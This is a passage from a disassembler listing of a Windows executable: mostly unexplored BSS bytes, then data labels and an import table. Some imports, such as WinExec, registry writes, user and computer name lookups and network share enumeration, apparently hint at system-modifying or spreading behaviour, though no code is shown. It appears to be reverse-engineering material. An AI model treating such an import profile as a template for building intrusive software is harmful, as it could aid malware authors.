		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41EED8	dd ?			; DATA XREF: sub_4190CC+A9Dr
					; sub_41A848+6Bo ...
dword_41EEDC	dd ?			; DATA XREF: sub_4174BC+1Bo
					; sub_4175AC+1Br ...
dword_41EEE0	dd ?			; DATA XREF: sub_417F24+25Br
					; sub_417F24+356r ...
dword_41EEE4	dd ?			; DATA XREF: sub_417F24+350r
					; sub_41A5E4+80r ...
dword_41EEE8	dd ?			; DATA XREF: sub_417F24+1BFr
					; sub_417F24+2C8r ...
dword_41EEEC	dd ?			; DATA XREF: sub_417F24+1A0r
					; sub_418880+22Er ...
dword_41EEF0	dd ?			; DATA XREF: sub_416478+19Br
					; sub_416C54+7Cr ...
dword_41EEF4	dd ?			; DATA XREF: sub_416478+196o
					; sub_416478+1C8r ...
dword_41EEF8	dd ?			; DATA XREF: sub_418880+1FAr
					; sub_41A848+1Bo ...
dword_41EEFC	dd ?			; DATA XREF: sub_416478+8Fr
					; sub_416C54+3Er ...
dword_41EF00	dd ?			; DATA XREF: start+2A4o start+2BEr ...
dword_41EF04	dd ?			; DATA XREF: start+3EFo start+449r ...
dword_41EF08	dd ?			; DATA XREF: start+240o start+255r ...
dword_41EF0C	dd ?			; DATA XREF: start+603o start+60Dw ...
dword_41EF10	dd ?			; DATA XREF: sub_41A5E4+41r
					; sub_41A5E4+96r ...
dword_41EF14	dd ?			; DATA XREF: sub_4174BC+3Dr
					; sub_4177BC+4Ar ...
dword_41EF18	dd ?			; DATA XREF: sub_4175AC+1AAr
					; sub_4177BC+40r ...
dword_41EF1C	dd ?			; DATA XREF: sub_4190CC+ACDw
					; sub_4190CC+AF5r ...
byte_41EF20	db ?			; DATA XREF: start+2AEw start+718w ...
byte_41EF21	db ?			; DATA XREF: start+2B7w start+70Fw ...
		align 4
unk_41EF24	db ? ; unexplored	; DATA XREF: CODE:00415D8Br
BSS		ends

; 
; Imports from kernel32.dll
; 
; Section 4. (virtual address 0001F000)
; Virtual size			: 000011AE (   4526.)
; Section size in file		: 00001200 (   4608.)
; Offset to raw	data for section: 0001CA00
; Flags	C0000040: Data Readable	Writable
; Alignment	: 16 bytes ?
; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Externs
; _idata
		extrn GetCurrentThreadId:dword ; DATA XREF: j_GetCurrentThreadIdr
		extrn DeleteCriticalSection:dword ; DATA XREF: j_DeleteCriticalSectionr
		extrn LeaveCriticalSection:dword ; DATA	XREF: j_LeaveCriticalSectionr
		extrn EnterCriticalSection:dword ; DATA	XREF: j_EnterCriticalSectionr
		extrn InitializeCriticalSection:dword
					; DATA XREF: j_InitializeCriticalSectionr
		extrn VirtualFree:dword	; DATA XREF: j_VirtualFreer
		extrn VirtualAlloc:dword ; DATA	XREF: j_VirtualAllocr
		extrn LocalFree:dword	; DATA XREF: j_LocalFreer
		extrn LocalAlloc:dword	; DATA XREF: j_LocalAllocr
		extrn VirtualQuery:dword ; DATA	XREF: j_VirtualQueryr
		extrn WideCharToMultiByte:dword	; DATA XREF: j_WideCharToMultiByter
		extrn MultiByteToWideChar:dword	; DATA XREF: j_MultiByteToWideCharr
		extrn lstrlenA:dword	; DATA XREF: j_lstrlenAr
		extrn lstrcpynA:dword	; DATA XREF: j_lstrcpynAr
		extrn lstrcpyA:dword	; DATA XREF: j_lstrcpyAr
		extrn LoadLibraryExA:dword ; DATA XREF:	j_LoadLibraryExAr
		extrn GetThreadLocale:dword ; DATA XREF: j_GetThreadLocaler
		extrn GetStartupInfoA:dword ; DATA XREF: j_GetStartupInfoAr
		extrn GetProcAddress:dword ; DATA XREF:	j_GetProcAddressr
		extrn GetModuleHandleA:dword ; DATA XREF: j_GetModuleHandleAr
		extrn GetModuleFileNameA:dword ; DATA XREF: j_GetModuleFileNameAr
		extrn GetLocaleInfoA:dword ; DATA XREF:	j_GetLocaleInfoAr
		extrn GetLastError:dword ; DATA	XREF: j_GetLastErrorr
		extrn GetCommandLineA:dword ; DATA XREF: j_GetCommandLineAr
		extrn FreeLibrary:dword	; DATA XREF: j_FreeLibraryr
		extrn FindFirstFileA:dword ; DATA XREF:	j_FindFirstFileAr
		extrn FindClose:dword	; DATA XREF: j_FindCloser
		extrn ExitProcess:dword	; DATA XREF: j_ExitProcessr
		extrn WriteFile:dword	; DATA XREF: j_WriteFiler
		extrn UnhandledExceptionFilter:dword
					; DATA XREF: j_UnhandledExceptionFilterr
		extrn SetFilePointer:dword ; DATA XREF:	j_SetFilePointerr
		extrn SetEndOfFile:dword ; DATA	XREF: j_SetEndOfFiler
		extrn RtlUnwind:dword	; DATA XREF: j_RtlUnwindr
		extrn ReadFile:dword	; DATA XREF: j_ReadFiler
		extrn RaiseException:dword ; DATA XREF:	j_RaiseExceptionr
		extrn GetStdHandle:dword ; DATA	XREF: j_GetStdHandler
		extrn GetFileSize:dword	; DATA XREF: j_GetFileSizer
		extrn GetSystemTime:dword ; DATA XREF: j_GetSystemTimer
		extrn GetFileType:dword	; DATA XREF: j_GetFileTyper
		extrn CreateFileA:dword	; DATA XREF: j_CreateFileAr
		extrn CloseHandle:dword	; DATA XREF: j_CloseHandler

; 
; Imports from user32.dll
; 
		extrn GetKeyboardType:dword ; DATA XREF: j_GetKeyboardTyper
		extrn LoadStringA:dword	; DATA XREF: j_LoadStringAr
		extrn MessageBoxA:dword	; DATA XREF: j_MessageBoxAr
		extrn CharNextA:dword	; DATA XREF: j_CharNextAr
					; Return a pointer to the next character in a string

; 
; Imports from advapi32.dll
; 
		extrn RegQueryValueExA:dword ; DATA XREF: j_RegQueryValueExAr
		extrn RegOpenKeyExA:dword ; DATA XREF: j_RegOpenKeyExAr
		extrn RegCloseKey:dword	; DATA XREF: j_RegCloseKeyr

; 
; Imports from oleaut32.dll
; 
		extrn VariantChangeTypeEx:dword	; DATA XREF: j_VariantChangeTypeExr
		extrn VariantCopyInd:dword ; DATA XREF:	j_VariantCopyIndr
		extrn VariantClear:dword ; DATA	XREF: j_VariantClearr
		extrn SysStringLen:dword ; DATA	XREF: j_SysStringLenr
		extrn SysFreeString:dword ; DATA XREF: j_SysFreeStringr
		extrn SysReAllocStringLen:dword	; DATA XREF: j_SysReAllocStringLenr
		extrn SysAllocStringLen:dword ;	DATA XREF: j_SysAllocStringLenr

; 
; Imports from kernel32.dll
; 
		extrn TlsSetValue:dword	; DATA XREF: j_TlsSetValuer
		extrn TlsGetValue:dword	; DATA XREF: j_TlsGetValuer
		extrn LocalAlloc_0:dword ; DATA	XREF: j_LocalAlloc_0r
		extrn GetModuleHandleA_0:dword ; DATA XREF: j_GetModuleHandleA_0r
		extrn GetModuleFileNameA_0:dword ; DATA	XREF: j_GetModuleFileNameA_0r

; 
; Imports from advapi32.dll
; 
		extrn RegSetValueExA:dword ; DATA XREF:	j_RegSetValueExAr
		extrn RegQueryValueExA_0:dword ; DATA XREF: j_RegQueryValueExA_0r
		extrn RegOpenKeyExA_0:dword ; DATA XREF: j_RegOpenKeyExA_0r
		extrn RegFlushKey:dword	; DATA XREF: j_RegFlushKeyr
					; Write	all the	attributes of the
					; specified open key into the registry
		extrn RegCreateKeyExA:dword ; DATA XREF: j_RegCreateKeyExAr
		extrn RegCloseKey_0:dword ; DATA XREF: j_RegCloseKey_0r
		extrn GetUserNameA:dword ; DATA	XREF: j_GetUserNameAr

; 
; Imports from kernel32.dll
; 
		extrn WriteFile_0:dword	; DATA XREF: j_WriteFile_0r
		extrn WinExec:dword	; DATA XREF: j_WinExecr
		extrn WaitForSingleObject:dword	; DATA XREF: j_WaitForSingleObjectr
		extrn VirtualQuery_0:dword ; DATA XREF:	j_VirtualQuery_0r
		extrn VerLanguageNameA:dword ; DATA XREF: j_VerLanguageNameAr
					; Convert binary language identifier
					; into a text representation of	the language
		extrn Sleep:dword	; DATA XREF: j_Sleepr
		extrn SetThreadPriority:dword ;	DATA XREF: j_SetThreadPriorityr
		extrn SetPriorityClass:dword ; DATA XREF: j_SetPriorityClassr
		extrn SetFilePointer_0:dword ; DATA XREF: j_SetFilePointer_0r
		extrn SetFileAttributesA:dword ; DATA XREF: j_SetFileAttributesAr
		extrn SetEndOfFile_0:dword ; DATA XREF:	j_SetEndOfFile_0r
		extrn RemoveDirectoryA:dword ; DATA XREF: j_RemoveDirectoryAr
		extrn ReadFile_0:dword	; DATA XREF: j_ReadFile_0r
		extrn MulDiv:dword	; DATA XREF: j_MulDivr
		extrn LoadLibraryA:dword ; DATA	XREF: j_LoadLibraryAr
		extrn LeaveCriticalSection_0:dword ; DATA XREF:	j_LeaveCriticalSection_0r
		extrn InitializeCriticalSection_0:dword
					; DATA XREF: j_InitializeCriticalSection_0r
		extrn GlobalUnlock:dword ; DATA	XREF: j_GlobalUnlockr
		extrn GlobalReAlloc:dword ; DATA XREF: j_GlobalReAllocr
		extrn GlobalHandle:dword ; DATA	XREF: j_GlobalHandler
		extrn GlobalLock:dword	; DATA XREF: j_GlobalLockr
		extrn GlobalFree:dword	; DATA XREF: j_GlobalFreer
		extrn GlobalFindAtomA:dword ; DATA XREF: j_GlobalFindAtomAr
		extrn GlobalDeleteAtom:dword ; DATA XREF: j_GlobalDeleteAtomr
		extrn GlobalAlloc:dword	; DATA XREF: j_GlobalAllocr
		extrn GlobalAddAtomA:dword ; DATA XREF:	j_GlobalAddAtomAr
		extrn GetWindowsDirectoryA:dword ; DATA	XREF: j_GetWindowsDirectoryAr
		extrn GetVersionExA:dword ; DATA XREF: j_GetVersionExAr
					; Get extended information about the
					; version of the operating system
		extrn GetUserDefaultLangID:dword ; DATA	XREF: j_GetUserDefaultLangIDr
		extrn GetTimeZoneInformation:dword ; DATA XREF:	j_GetTimeZoneInformationr
		extrn GetThreadLocale_0:dword ;	DATA XREF: j_GetThreadLocale_0r
		extrn GetTempPathA:dword ; DATA	XREF: j_GetTempPathAr
		extrn GetSystemDirectoryA:dword	; DATA XREF: j_GetSystemDirectoryAr
		extrn GetShortPathNameA:dword ;	DATA XREF: j_GetShortPathNameAr
		extrn GetProcAddress_0:dword ; DATA XREF: j_GetProcAddress_0r
		extrn GetModuleHandleA_1:dword ; DATA XREF: j_GetModuleHandleA_1r
		extrn GetModuleFileNameA_1:dword ; DATA	XREF: j_GetModuleFileNameA_1r
		extrn GetLocaleInfoA_0:dword ; DATA XREF: j_GetLocaleInfoA_0r
		extrn GetLocalTime:dword ; DATA	XREF: j_GetLocalTimer
		extrn GetLastError_0:dword ; DATA XREF:	j_GetLastError_0r
		extrn GetDiskFreeSpaceA:dword ;	DATA XREF: j_GetDiskFreeSpaceAr
		extrn GetDateFormatA:dword ; DATA XREF:	j_GetDateFormatAr
		extrn GetCurrentThreadId_0:dword ; DATA	XREF: j_GetCurrentThreadId_0r
		extrn GetCurrentThread:dword ; DATA XREF: j_GetCurrentThreadr
		extrn GetCurrentProcessId:dword	; DATA XREF: j_GetCurrentProcessIdr
		extrn GetCurrentProcess:dword ;	DATA XREF: j_GetCurrentProcessr
		extrn GetCurrentDirectoryA:dword ; DATA	XREF: j_GetCurrentDirectoryAr
		extrn GetComputerNameA:dword ; DATA XREF: j_GetComputerNameAr
		extrn GetCPInfo:dword	; DATA XREF: j_GetCPInfor
		extrn GetACP:dword	; DATA XREF: j_GetACPr
		extrn FormatMessageA:dword ; DATA XREF:	j_FormatMessageAr
		extrn FindNextFileA:dword ; DATA XREF: j_FindNextFileAr
		extrn FindFirstFileA_0:dword ; DATA XREF: j_FindFirstFileA_0r
		extrn FindClose_0:dword	; DATA XREF: j_FindClose_0r
		extrn FileTimeToLocalFileTime:dword ; DATA XREF: j_FileTimeToLocalFileTimer
		extrn FileTimeToDosDateTime:dword ; DATA XREF: j_FileTimeToDosDateTimer
		extrn EnumCalendarInfoA:dword ;	DATA XREF: j_EnumCalendarInfoAr
		extrn EnterCriticalSection_0:dword ; DATA XREF:	j_EnterCriticalSection_0r
		extrn DeleteFileA:dword	; DATA XREF: j_DeleteFileAr
		extrn DeleteCriticalSection_0:dword ; DATA XREF: j_DeleteCriticalSection_0r
		extrn CreateFileA_0:dword ; DATA XREF: j_CreateFileA_0r
		extrn CreateEventA:dword ; DATA	XREF: j_CreateEventAr
		extrn CopyFileA:dword	; DATA XREF: j_CopyFileAr
		extrn CompareStringA:dword ; DATA XREF:	j_CompareStringAr
		extrn CloseHandle_0:dword ; DATA XREF: j_CloseHandle_0r

; 
; Imports from mpr.dll
; 
		extrn WNetOpenEnumA:dword ; DATA XREF: j_WNetOpenEnumAr
		extrn WNetEnumResourceA:dword ;	DATA XREF: j_WNetEnumResourceAr

; 
; Imports from gdi32.dll
; 
		extrn UnrealizeObject:dword ; DATA XREF: j_UnrealizeObjectr
		extrn StretchBlt:dword	; DATA XREF: j_StretchBltr
		extrn SetTextColor:dword ; DATA	XREF: j_SetTextColorr
		extrn SetROP2:dword	; DATA XREF: j_SetROP2r
					; Set the current foreground mix mode
		extrn SetBkMode:dword	; DATA XREF: j_SetBkModer
		extrn SetBkColor:dword	; DATA XREF: j_SetBkColorr
		extrn SelectPalette:dword ; DATA XREF: j_SelectPaletter
		extrn SelectObject:dword ; DATA	XREF: j_SelectObjectr
		extrn RealizePalette:dword ; DATA XREF:	j_RealizePaletter
		extrn MoveToEx:dword	; DATA XREF: j_MoveToExr
		extrn GetTextMetricsA:dword ; DATA XREF: j_GetTextMetricsAr
		extrn GetSystemPaletteEntries:dword ; DATA XREF: j_GetSystemPaletteEntriesr
		extrn GetStockObject:dword
		extrn GetObjectA:dword	; DATA XREF: j_GetObjectAr
		extrn GetDeviceCaps:dword ; DATA XREF: j_GetDeviceCapsr
		extrn GetDIBits:dword	; DATA XREF: j_GetDIBitsr
		extrn GetCurrentPositionEx:dword ; DATA	XREF: j_GetCurrentPositionExr
		extrn GetBitmapBits:dword ; DATA XREF: j_GetBitmapBitsr
		extrn DeleteObject:dword ; DATA	XREF: j_DeleteObjectr
		extrn DeleteDC:dword	; DATA XREF: j_DeleteDCr
		extrn CreatePenIndirect:dword ;	DATA XREF: j_CreatePenIndirectr
		extrn CreatePalette:dword ; DATA XREF: j_CreatePaletter
		extrn CreateFontIndirectA:dword	; DATA XREF: j_CreateFontIndirectAr
		extrn CreateDIBitmap:dword ; DATA XREF:	j_CreateDIBitmapr
		extrn CreateCompatibleDC:dword ; DATA XREF: j_CreateCompatibleDCr
		extrn CreateCompatibleBitmap:dword ; DATA XREF:	j_CreateCompatibleBitmapr
